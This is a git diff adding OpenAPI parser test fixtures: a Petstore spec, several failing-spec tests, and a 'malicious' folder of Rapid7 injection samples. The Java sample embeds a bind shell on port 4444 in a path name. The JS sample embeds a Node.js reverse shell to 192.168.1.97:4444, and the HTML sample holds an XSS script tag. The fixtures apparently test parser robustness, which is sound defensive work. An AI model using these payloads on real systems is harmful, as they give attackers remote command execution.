+              }
+            }
+         },
+         "responses": {
+            "405": {
+              "description": "Invalid input"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       },
+       "put": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Update an existing pet",
+         "description": "",
+         "operationId": "updatePet",
+         "requestBody": {
+            "description": "Pet object that needs to be added to the store",
+            "required": true,
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/definitions/Pet"
+                }
+              },
+              "application/xml": {
+                "examples": []
+              }
+            }
+         },
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            },
+            "405": {
+              "description": "Validation exception"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/findByStatus": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Finds Pets by status",
+         "description": "Multiple status values can be provided with comma separated strings",
+         "operationId": "findPetsByStatus",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "status",
+              "in": "query",
+              "description": "Status values that need to be considered for filter",
+              "required": true,
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              },
+              "collectionFormat": "multi"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/definitions/Pet"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid status value"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/findByTags": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Finds Pets by tags",
+         "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+         "operationId": "findPetsByTags",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "tags",
+              "in": "query",
+              "description": "Tags to filter by",
+              "required": true,
+              "type": "array",
+              "items": {
+                "type": "string"
+              },
+              "collectionFormat": "multi"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/definitions/Pet"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid tag value"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ],
+         "deprecated": true
+       }
+     },
+     "/pet/{petId}": {
+       "get": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Find pet by ID",
+         "description": "Returns a single pet",
+         "operationId": "getPetById",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet to return",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/definitions/Pet"
+              }
+            },
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            }
+         },
+         "security": [
+            {
+              "api_key": []
+            }
+         ]
+       },
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Updates a pet in the store with form data",
+         "description": "",
+         "operationId": "updatePetWithForm",
+         "consumes": [
+            "application/x-www-form-urlencoded"
+         ],
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet that needs to be updated",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            },
+            {
+              "name": "name",
+              "in": "formData",
+              "description": "Updated name of the pet",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "status",
+              "in": "formData",
+              "description": "Updated status of the pet",
+              "required": false,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "405": {
+              "description": "Invalid input"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       },
+       "delete": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "Deletes a pet",
+         "description": "",
+         "operationId": "deletePet",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "api_key",
+              "in": "header",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "Pet id to delete",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Pet not found"
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/pet/{petId}/uploadImage": {
+       "post": {
+         "tags": [
+            "pet"
+         ],
+         "summary": "uploads an image",
+         "description": "",
+         "operationId": "uploadFile",
+         "consumes": [
+            "multipart/form-data"
+         ],
+         "produces": [
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "petId",
+              "in": "path",
+              "description": "ID of pet to update",
+              "required": true,
+              "type": "integer",
+              "format": "int64"
+            },
+            {
+              "name": "additionalMetadata",
+              "in": "formData",
+              "description": "Additional data to pass to server",
+              "required": false,
+              "type": "string"
+            },
+            {
+              "name": "file",
+              "in": "formData",
+              "description": "file to upload",
+              "required": false,
+              "type": "file"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/definitions/ApiResponse"
+              }
+            }
+         },
+         "security": [
+            {
+              "petstore_auth": [
+                "write:pets",
+                "read:pets"
+              ]
+            }
+         ]
+       }
+     },
+     "/store/inventory": {
+       "get": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Returns pet inventories by status",
+         "description": "Returns a map of status codes to quantities",
+         "operationId": "getInventory",
+         "produces": [
+            "application/json"
+         ],
+         "parameters": [],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "object",
+                "additionalProperties": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              }
+            }
+         },
+         "security": [
+            {
+              "api_key": []
+            }
+         ]
+       }
+     },
+     "/store/order": {
+       "post": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Place an order for a pet",
+         "description": "",
+         "operationId": "placeOrder",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "order placed for purchasing the pet",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/definitions/Order"
+              }
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/definitions/Order"
+              }
+            },
+            "400": {
+              "description": "Invalid Order"
+            }
+         }
+       }
+     },
+     "/store/order/{orderId}": {
+       "get": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Find purchase order by ID",
+         "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+         "operationId": "getOrderById",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "orderId",
+              "in": "path",
+              "description": "ID of pet that needs to be fetched",
+              "required": true,
+              "type": "integer",
+              "maximum": 10.0,
+              "minimum": 1.0,
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/definitions/Order"
+              }
+            },
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Order not found"
+            }
+         }
+       },
+       "delete": {
+         "tags": [
+            "store"
+         ],
+         "summary": "Delete purchase order by ID",
+         "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+         "operationId": "deleteOrder",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "orderId",
+              "in": "path",
+              "description": "ID of the order that needs to be deleted",
+              "required": true,
+              "type": "integer",
+              "minimum": 1.0,
+              "format": "int64"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid ID supplied"
+            },
+            "404": {
+              "description": "Order not found"
+            }
+         }
+       }
+     },
+     "/user": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Create user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "createUser",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "Created user object",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/definitions/User"
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/createWithArray": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Creates list of users with given input array",
+         "description": "",
+         "operationId": "createUsersWithArrayInput",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "List of user object",
+              "required": true,
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/definitions/User"
+                }
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/createWithList": {
+       "post": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Creates list of users with given input array",
+         "description": "",
+         "operationId": "createUsersWithListInput",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "in": "body",
+              "name": "body",
+              "description": "List of user object",
+              "required": true,
+              "schema": {
+                "type": "array",
+                "items": {
+                  "$ref": "#/components/definitions/User"
+                }
+              }
+            }
+         ],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/login": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Logs user into the system",
+         "description": "",
+         "operationId": "loginUser",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "username",
+              "in": "query",
+              "description": "The user name for login",
+              "required": true,
+              "type": "string"
+            },
+            {
+              "name": "password",
+              "in": "query",
+              "description": "The password for login in clear text",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "type": "string"
+              },
+              "headers": {
+                "X-Rate-Limit": {
+                  "type": "integer",
+                  "format": "int32",
+                  "description": "calls per hour allowed by the user"
+                },
+                "X-Expires-After": {
+                  "type": "string",
+                  "format": "date-time",
+                  "description": "date in UTC when token expires"
+                }
+              }
+            },
+            "400": {
+              "description": "Invalid username/password supplied"
+            }
+         }
+       }
+     },
+     "/user/logout": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Logs out current logged in user session",
+         "description": "",
+         "operationId": "logoutUser",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [],
+         "responses": {
+            "default": {
+              "description": "successful operation"
+            }
+         }
+       }
+     },
+     "/user/{username}": {
+       "get": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Get user by user name",
+         "description": "",
+         "operationId": "getUserByName",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "The name that needs to be fetched. Use user1 for testing. ",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "200": {
+              "description": "successful operation",
+              "schema": {
+                "$ref": "#/components/definitions/User"
+              }
+            },
+            "400": {
+              "description": "Invalid username supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       },
+       "put": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Updated user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "updateUser",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "name that need to be updated",
+              "required": true,
+              "type": "string"
+            },
+            {
+              "in": "body",
+              "name": "body",
+              "description": "Updated user object",
+              "required": true,
+              "schema": {
+                "$ref": "#/components/definitions/User"
+              }
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid user supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       },
+       "delete": {
+         "tags": [
+            "user"
+         ],
+         "summary": "Delete user",
+         "description": "This can only be done by the logged in user.",
+         "operationId": "deleteUser",
+         "produces": [
+            "application/xml",
+            "application/json"
+         ],
+         "parameters": [
+            {
+              "name": "username",
+              "in": "path",
+              "description": "The name that needs to be deleted",
+              "required": true,
+              "type": "string"
+            }
+         ],
+         "responses": {
+            "400": {
+              "description": "Invalid username supplied"
+            },
+            "404": {
+              "description": "User not found"
+            }
+         }
+       }
+     }
+   },
+   "components": {
+     "securityDefinitions": {
+       "petstore_auth": {
+         "type": "oauth2",
+         "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+         "flow": "implicit",
+         "scopes": {
+            "write:pets": "modify pets in your account",
+            "read:pets": "read your pets"
+         }
+       },
+       "api_key": {
+         "type": "apiKey",
+         "name": "api_key",
+         "in": "header"
+       }
+     },
+     "definitions": {
+       "Order": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "petId": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "quantity": {
+              "type": "integer",
+              "format": "int32"
+            },
+            "shipDate": {
+              "type": "string",
+              "format": "date-time"
+            },
+            "status": {
+              "type": "string",
+              "description": "Order Status",
+              "enum": [
+                "placed",
+                "approved",
+                "delivered"
+              ]
+            },
+            "complete": {
+              "type": "boolean",
+              "default": false
+            }
+         },
+         "xml": {
+            "name": "Order"
+         }
+       },
+       "Category": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "name": {
+              "type": "string"
+            }
+         },
+         "xml": {
+            "name": "Category"
+         }
+       },
+       "User": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "username": {
+              "type": "string"
+            },
+            "firstName": {
+              "type": "string"
+            },
+            "lastName": {
+              "type": "string"
+            },
+            "email": {
+              "type": "string"
+            },
+            "password": {
+              "type": "string"
+            },
+            "phone": {
+              "type": "string"
+            },
+            "userStatus": {
+              "type": "integer",
+              "format": "int32",
+              "description": "User Status"
+            }
+         },
+         "xml": {
+            "name": "User"
+         }
+       },
+       "Tag": {
+         "type": "object",
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "name": {
+              "type": "string"
+            }
+         },
+         "xml": {
+            "name": "Tag"
+         }
+       },
+       "Pet": {
+         "type": "object",
+         "required": [
+            "name",
+            "photoUrls"
+         ],
+         "properties": {
+            "id": {
+              "type": "integer",
+              "format": "int64"
+            },
+            "category": {
+              "$ref": "#/components/definitions/Category"
+            },
+            "name": {
+              "type": "string",
+              "example": "doggie"
+            },
+            "photoUrls": {
+              "type": "array",
+              "xml": {
+                "name": "photoUrl",
+                "wrapped": true
+              },
+              "items": {
+                "type": "string"
+              }
+            },
+            "tags": {
+              "type": "array",
+              "xml": {
+                "name": "tag",
+                "wrapped": true
+              },
+              "items": {
+                "$ref": "#/components/definitions/Tag"
+              }
+            },
+            "status": {
+              "type": "string",
+              "description": "pet status in the store",
+              "enum": [
+                "available",
+                "pending",
+                "sold"
+              ]
+            }
+         },
+         "xml": {
+            "name": "Pet"
+         }
+       },
+       "ApiResponse": {
+         "type": "object",
+         "properties": {
+            "code": {
+              "type": "integer",
+              "format": "int32"
+            },
+            "type": {
+              "type": "string"
+            },
+            "message": {
+              "type": "string"
+            }
+         }
+       }
+     }
+   },
+   "externalDocs": {
+     "description": "Find out more about Swagger",
+     "url": "http://swagger.io"
+   }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.test.ts
new file mode 100644
index 0000000..24197ff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import pathitemProperty from './pathitem-property.yaml'
+
+describe('pathitem-property', () => {
+  it('returns an error', async () => {
+    const result = await resolve(pathitemProperty)
+
+    expect(result.errors?.[0]?.error).toBe(
+      `Property GET is not expected to be here`,
+    )
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.yaml
new file mode 100644
index 0000000..736b568
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/pathitem-property.yaml
@@ -0,0 +1,10 @@
+openapi: 3.0.1
+info:
+  title: API
+  version: 1.0.0
+paths:
+  /:
+    GET:
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.test.ts
new file mode 100644
index 0000000..ae10352
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.test.ts
@@ -0,0 +1,25 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import refAsInteger from './refAsInteger.yaml'
+
+describe('refAsInteger', () => {
+  it('returns an error', async () => {
+    const result = await resolve(refAsInteger)
+
+    // TODO: Swagger Editor
+    //
+    // Structural error at components.schemas.mySchema.$ref
+    // should be string
+    expect(result.errors?.[0]?.error).toBe(
+      `Property $ref is not expected to be here`,
+    )
+    expect(result.errors?.[1]?.error).toBe(': type must be string')
+    expect(result.errors?.[2]?.error).toBe(
+      ': oneOf must match exactly one schema in oneOf',
+    )
+    expect(result.errors?.length).toBe(3)
+
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.yaml
new file mode 100644
index 0000000..04155db
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/refAsInteger.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.2
+info:
+  version: 1.0.0
+  title: API
+paths: {}
+components:
+  schemas:
+    mySchema:
+      $ref: 0
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.test.ts
new file mode 100644
index 0000000..623adf4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.test.ts
@@ -0,0 +1,19 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import schemaProperties from './schemaProperties.yaml'
+
+describe.todo('schemaProperties', () => {
+  it('returns an error', async () => {
+    const result = await resolve(schemaProperties)
+
+    // TODO: Swagger Editor
+    //
+    // Resolver error at components.schemas.SomeObject.$ref
+    // Could not resolve reference: undefined undefined
+    expect(result?.schema?.components?.schemas?.SomeObject).not.toBe(undefined)
+    expect(result.errors?.[0]?.error).toBe(`: type must be string`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.yaml
new file mode 100644
index 0000000..0c0f579
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/schemaProperties.yaml
@@ -0,0 +1,9 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+paths: {}
+components:
+  schemas:
+    SomeObject:
+      $ref: '../resources/myobject.yml#/resource/SomeObject'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.test.ts
new file mode 100644
index 0000000..f1e0b8b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.test.ts
@@ -0,0 +1,17 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import serverVariableEnumType from './serverVariableEnumType.yaml'
+
+describe('serverVariableEnumType', () => {
+  it('returns an error', async () => {
+    const result = await resolve(serverVariableEnumType)
+
+    // TODO: Swagger Editor has a better error message
+    //
+    // Structural error at servers.0.variables.version.enum.1 should be string
+    expect(result.errors?.[0]?.error).toBe(`: type must be string`)
+    expect(result.errors?.length).toBe(1)
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.yaml
new file mode 100644
index 0000000..4741cdb
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/fail/serverVariableEnumType.yaml
@@ -0,0 +1,16 @@
+openapi: 3.0.0
+info:
+  title: How server URLs can be templated
+  version: 1.0.0
+
+servers:
+- url: https://{tenant}.acme.com/api/{version}
+  variables:
+    tenant:
+      default: sample  #default is a required field
+    version:
+      default: v2
+      enum:
+       - v2
+       - 3
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-html.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-html.json
new file mode 100644
index 0000000..ddcbf57
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-html.json
@@ -0,0 +1,65 @@
+{
+    "openapi": "3.0.0",
+    "servers": [
+        {
+            "url": "http://localhost/"
+        }
+    ],
+    "info": {
+        "description": "<script type='text/javascript'>alert('vulnerable!');</script>",
+        "version": "1.0.0",
+        "title": "API",
+        "contact": {
+            "name": "Rapid 7",
+            "url": "https://www.rapid7.com/",
+            "email": "info@rapid7.com"
+        },
+        "license": {
+            "name": "BSD-3-clause",
+            "url": "https://opensource.org/licenses/BSD-3-Clause"
+        }
+    },
+    "tags": [
+        {
+            "name": "default"
+        }
+    ],
+    "paths": {
+        "/a": {
+            "summary": "an example path",
+            "get": {
+                "description": "D",
+                "operationId": "get_a",
+                "tags": [
+                    "default"
+                ],
+                "responses": {
+                    "200": {
+                        "description": "E",
+                        "content": {
+                            "application/json": {
+                                "schema": {
+                                    "$ref": "#/components/schemas/d"
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "d": {
+                "type": "object",
+                "description": "F",
+                "properties": {
+                    "id": {
+                        "type": "integer",
+                        "format": "int64"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json
new file mode 100644
index 0000000..3d040e3
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json
@@ -0,0 +1,65 @@
+{
+    "openapi": "3.0.0",
+    "servers": [
+        {
+            "url": "http://localhost/"
+        }
+    ],
+    "info": {
+        "description": "A",
+        "version": "1.0.0",
+        "title": "C",
+        "contact": {
+            "name": "Rapid 7",
+            "url": "https://www.rapid7.com/",
+            "email": "info@rapid7.com"
+        },
+        "license": {
+            "name": "BSD-3-clause",
+            "url": "https://opensource.org/licenses/BSD-3-Clause"
+        }
+    },
+    "tags": [
+        {
+            "name": "default"
+        }
+    ],
+    "paths": {
+        "/a\"; \"import java.lang.*; import java.util.*; import java.io.*; import java.net.*;     class StreamConnector extends Thread   {     InputStream dh;     OutputStream lk;      StreamConnector( InputStream dh, OutputStream lk )     {       this.dh = dh;       this.lk = lk;     }      public void run()     {       BufferedReader ob  = null;       BufferedWriter oqh = null;       try       {         ob  = new BufferedReader( new InputStreamReader( this.dh ) );         oqh = new BufferedWriter( new OutputStreamWriter( this.lk ) );         char buffer[] = new char[8192];         int length;         while( ( length = ob.read( buffer, 0, buffer.length ) ) > 0 )         {           oqh.write( buffer, 0, length );           oqh.flush();         }       } catch( Exception e ){}       try       {         if( ob != null )           ob.close();         if( oqh != null )           oqh.close();       } catch( Exception e ){}     }   }    try   {     String ShellPath; if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1) {   ShellPath = new String(\"/bin/sh\"); } else {   ShellPath = new String(\"cmd.exe\"); }      ServerSocket server_socket = new ServerSocket( 4444 );     Socket client_socket = server_socket.accept();     server_socket.close();     Process process = Runtime.getRuntime().exec( ShellPath );     ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();     ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();   } catch( Exception e ) {}  ": {
+            "summary": "an example path",
+            "get": {
+                "operationId": "get_a",
+                "tags": [
+                    "default"
+                ],
+                "description": "D",
+                "responses": {
+                    "200": {
+                        "description": "E",
+                        "content": {
+                            "application/json": {
+                                "schema": {
+                                    "$ref": "#/components/schemas/d"
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "d": {
+                "type": "object",
+                "description": "F",
+                "properties": {
+                    "id": {
+                        "type": "integer",
+                        "format": "int64"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json
new file mode 100644
index 0000000..6da9bc9
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json
@@ -0,0 +1,65 @@
+{
+    "openapi": "3.0.0",
+    "servers": [
+        {
+            "url": "http://localhost/"
+        }
+    ],
+    "info": {
+        "description": "A",
+        "version": "1.0.0",
+        "title": "C",
+        "contact": {
+            "name": "Rapid 7",
+            "url": "https://www.rapid7.com/",
+            "email": "info@rapid7.com"
+        },
+        "license": {
+            "name": "BSD-3-clause",
+            "url": "https://opensource.org/licenses/BSD-3-Clause"
+        }
+    },
+    "tags": [
+        {
+            "name": "default"
+        }
+    ],
+    "paths": {
+        "/a');};};return exports;})); (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, \"192.168.1.97\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5.0*1000); } else process.exit(); }); } StagerRepeat(); })();(function(){}(this,function(){a=function(){b=function(){new Array('": {
+            "summary": "an example path",
+            "get": {
+                "operationId": "get_a",
+                "tags": [
+                    "default"
+                ],
+                "description": "D",
+                "responses": {
+                    "200": {
+                        "description": "E",
+                        "content": {
+                            "application/json": {
+                                "schema": {
+                                    "$ref": "#/components/schemas/d"
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+    },
+    "components": {
+        "schemas": {
+            "d": {
+                "type": "object",
+                "description": "F",
+                "properties": {
+                    "id": {
+                        "type": "integer",
+                        "format": "int64"
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json
new file mode 100644
index 0000000..2b9c491
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json
@@ -0,0 +1,65 @@
+{
+    "openapi": "3.0.0",
+    "servers": [
+        {
+            "url": "http://localhost/"
+        }
+    ],
+    "info": {
